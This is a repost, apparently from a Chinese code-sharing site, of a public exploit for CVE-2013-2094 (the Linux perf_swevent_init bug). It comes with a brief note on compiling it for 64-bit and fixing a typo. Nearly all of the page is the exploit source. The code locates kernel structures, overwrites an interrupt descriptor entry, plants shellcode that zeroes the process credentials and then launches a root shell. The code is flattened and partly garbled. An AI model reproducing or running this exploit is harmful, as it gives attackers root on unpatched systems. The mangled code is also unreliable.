首页 > 代码库 > Linux kernel perf_swevent_init Local root Exploit

Linux kernel perf_swevent_init Local root Exploit

64位上编译

另外修改了原Exploit的一个错误

第76行
把     uint64_t *p = (void *) ¤t[i];
改成       uint64_t *p = (void *) &current[i];

** CVE-2013-2094 exploit x86_64 Linux < 3.8.9* by sorbo (sorbo@darkircop.org) June 2013** Based on sds exploit.  Supports more targets.**/#define _GNU_SOURCE#include <string.h>#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <stdint.h>#include <sys/syscall.h>#include <sys/mman.h>#include <linux/perf_event.h>#include <signal.h>#include <assert.h>#define BASE        0x380000000#define BASE_JUMP   0x1780000000#define SIZE        0x10000000#define KSIZE       0x2000000#define TMP(x) (0xdeadbeef + (x))struct idt {    uint16_t limit;    uint64_t addr;} __attribute__((packed));static int _fd;static int perf_open(uint64_t off){    struct perf_event_attr attr;    int rc;//  printf("perf open %lx [%d]\n", off, (int) off);    memset(&attr, 0, sizeof(attr));    attr.type           = PERF_TYPE_SOFTWARE;    attr.size           = sizeof(attr);    attr.config         = off;    attr.mmap           = 1;    attr.comm           = 1;    attr.exclude_kernel = 1;    rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);    return rc;}void __sc_start(void);void __sc_next(void);void __sc(void){    asm("__sc_start:\n"        "call __sc_next\n"        "iretq\n"        "__sc_next:\n");}void sc(void){    int i, j;    uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));    uint64_t kbase = ((uint64_t)current) >> 36;    int uid = TMP(1);    int gid = TMP(2);    for (i = 0; i < 4000; i += 4) {        uint64_t *p = (void *) &current[i];        uint32_t *cred = (uint32_t*) p[0];        if ((p[0] != p[1]) || ((p[0]>>36) != kbase))            continue;        for (j = 0; j < 20; j++) {            if (cred[j] == uid && cred[j + 1] == gid) {                for (i = 0; i < 8; i++) {                    cred[j + i] = 0;                    return;                }            }        }    }}static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val){    void *p;    p = memmem(sc, 900, &needle, sizeof(needle));    if (!p)        errx(1, "can‘t find %x", needle);    memcpy(p, &val, sizeof(val));}static void *map_mem(uint64_t addr){    void *p;    p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,         MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);    if (p == MAP_FAILED)        err(1, "mmap()");    return p;}static int find_mem(void *mem, uint8_t c){    int i;    uint8_t *p = mem;    for (i = 0; i < SIZE; i++) {        if (p == c)            return i;    }    return -1;}static void dropshell(){    if (setuid(0) != 0)        errx(1, "failed");    printf("Launching shell\n");    execl("/bin/sh", "sh", NULL);    exit(0);}void morte(int x){    printf("Got signal\n");    close(_fd);    dropshell();}static void trigger(int intr){    switch (intr) {    case 0:        do {            int z = 1;            int a = 1;            z--;            a /= z;        } while (0);        break;    case 4:        asm("int $4");        break;    case 0x80:        asm("int $0x80");        break;    default:        errx(1, "unknown intr %d", intr);    }    sleep(3);}int main(int argc, char *argv[]){    uint32_t *p[2];    int fd, i;    uint64_t off;    uint64_t addr = BASE;    struct idt idt;    uint8_t *kbase;    int sz = 4;    int intr = 4;    printf("Searchin...\n");    p[0] = map_mem(BASE);    p[1] = map_mem(BASE_JUMP);    memset(p[1], 0x69, SIZE);    off = 0xFFFFFFFFL;    fd = perf_open(off);    close(fd);    i = find_mem(p[0], 0xff);    if (i == -1) {        i = find_mem(p[1], 0x68);        if (i == -1)            errx(1, "Can‘t find overwrite");        sz = 24;        addr = BASE_JUMP;        printf("detected CONFIG_JUMP_LABEL\n");    }    munmap(p[0], SIZE);    munmap(p[1], SIZE);    addr += i;    addr -= off * sz;    printf("perf_swevent_enabled is at 0x%lx\n", addr);    asm("sidt %0" : "=m" (idt));    printf("IDT at 0x%lx\n", idt.addr);    off = addr - idt.addr;    off -= 8;    switch (off % sz) {    case 0:        intr = 0;        break;    case 8:        intr = 0x80;        break;    case 16:        intr = 4;        break;    default:        errx(1, "remainder %d", off % sz);    }    printf("Using interrupt %d\n", intr);    off -= 16 * intr;    assert((off % sz) == 0);    off /= sz;    off = -off;//  printf("Offset %lx\n", off);    kbase = (uint8_t*) (idt.addr & 0xFF000000);    printf("Shellcode at %p\n", kbase);    if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,         MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)        err(1, "mmap()");    memset(kbase, 0x90, KSIZE);    kbase += KSIZE - 1024;    i = __sc_next - __sc_start;    memcpy(kbase, __sc_start, i);    kbase += i;    memcpy(kbase, sc, 900);    sc_replace(kbase, TMP(1), getuid());    sc_replace(kbase, TMP(2), getgid());    signal(SIGALRM, morte);    alarm(2);    printf("Triggering sploit\n");    _fd = perf_open(off);    trigger(intr);    exit(0);}

 

Linux kernel perf_swevent_init Local root Exploit